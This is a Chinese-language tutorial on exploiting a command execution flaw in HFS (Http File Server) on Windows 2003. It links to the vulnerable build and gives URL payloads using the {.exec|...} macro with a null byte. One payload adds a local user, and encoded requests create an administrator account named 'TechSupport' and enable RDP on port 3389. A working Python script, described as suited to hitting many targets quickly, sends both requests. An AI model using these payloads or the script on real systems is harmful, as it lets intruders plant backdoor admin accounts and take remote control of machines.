介绍:HFS是Http File Server 通过英文我们大概就知道了是依靠HTTP传输的文件服务器。
搭建:下载具有漏洞的版本,搭建在windows 2003上,版本下载地址:
https://lanzoux.com/id2vsih
环境搭建好后,首先进行测试一下,查看本地用户:
可以看到本地并没有hack 这个用户,那么我们把hack用户添加进去,在win2003的本地浏览器输入下面的命令:
http://127.0.0.1/?search==%00{.exec|cmd /c net user hack 123 /add.}
然后再查看一下可以看到已经把hack用户添加进去了
说明漏洞平台搭建成功了。
接下来是脚本的编写,脚本的编写基于添加用户TechSupport,和开启3389端口exp如下:
添加用户:
GET /?search==%00%7B.exec%7Ccmd.exe%20/c%20net%20user%20TechSupport%20comeonbaby%20/add%20%26%20net%20localgroup%20administrators%20TechSupport%20/add.%7D
开3389:
GET /?search==%00%7B.exec%7Ccmd.exe%20/c%20REG%20ADD%20HKLM%5CSYSTEM%5CCurrentControlSet%5CControl%5CTerminal%22%20%22Server%20/v%20fDenyTSConnections%20/t%20REG_DWORD%20/d%2000000000%20/f.%7D
利用exp我们可以写脚本,利用脚本我们可以快速的对多个目标进行测试,python代码如下代码的意思我给标出来了:
import requests
url="http://192.168.79.185" # 接收url
user_add="/?search==%00%7B.exec%7Ccmd.exe%20/c%20net%20user%20TechSupport%20comeonbaby%20/add%20%26%20net%20localgroup%20administrators%20TechSupport%20/add.%7D"
open_3389="/?search==%00%7B.exec%7Ccmd.exe%20/c%20REG%20ADD%20HKLM%5CSYSTEM%5CCurrentControlSet%5CControl%5CTerminal%22%20%22Server%20/v%20fDenyTSConnections%20/t%20REG_DWORD%20/d%2000000000%20/f.%7D"
# add_user和open_3389 是两个exp
url_adduser=url+user_add
url_open3389=url+open_3389 # 拼接好url
''' 然后进行请求#下面两个函数是自定义函数'''
def adderuser():
code=requests.get(url_adduser).status_code
if code==200: # 依靠状态码判断是否成功
print("addusr success")
else:
print("adderuser fail")
def open3389():
code1=requests.get(url_open3389).status_code
if code1==200:
print("open success")
else:
print("open fail")
adderuser()
open3389() # 两个函数执行
验证:
可以看到目标机并没有用户TechSupport 也没有开启3389端口,那么我们执行脚本
可以看到漏洞利用成功了。